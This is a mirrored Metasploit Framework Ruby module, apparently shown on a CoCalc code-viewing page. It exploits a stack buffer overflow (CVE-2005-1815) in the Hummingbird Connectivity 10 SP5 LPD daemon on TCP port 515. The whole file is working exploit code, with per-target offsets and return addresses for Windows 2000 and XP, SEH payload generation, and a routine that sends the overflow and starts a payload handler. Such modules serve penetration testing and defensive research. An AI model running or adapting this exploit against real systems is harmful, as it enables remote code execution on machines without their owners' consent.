Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lpd/hummingbird_exceed.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Hummingbird Connectivity 10 SP5 LPD Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in Hummingbird Connectivity
19
10 LPD Daemon. This module has only been tested against Hummingbird
20
Exceed v10 with SP5.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
['CVE', '2005-1815'],
26
['OSVDB', '16957'],
27
['BID', '13788'],
28
],
29
'Privileged' => true,
30
31
'DefaultOptions' => {
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' => {
35
'Space' => 500,
36
'BadChars' => "\x00\x0a",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' => [
41
['Windows 2000 English SP0-SP4', { 'Offset' => 1620, 'Ret' => 0x75022ac4 }],
42
['Windows XP English SP0/SP1', { 'Offset' => 1596, 'Ret' => 0x71aa2461 }],
43
],
44
45
'DisclosureDate' => '2005-05-27',
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options([ Opt::RPORT(515) ])
55
end
56
57
def exploit
58
connect
59
60
filler = rand_text_english(target['Offset'], payload_badchars)
61
seh = generate_seh_payload(target.ret)
62
sploit = filler + seh
63
64
print_status("Trying target #{target.name}...")
65
sock.put(sploit)
66
67
handler
68
disconnect
69
end
70
end
71
72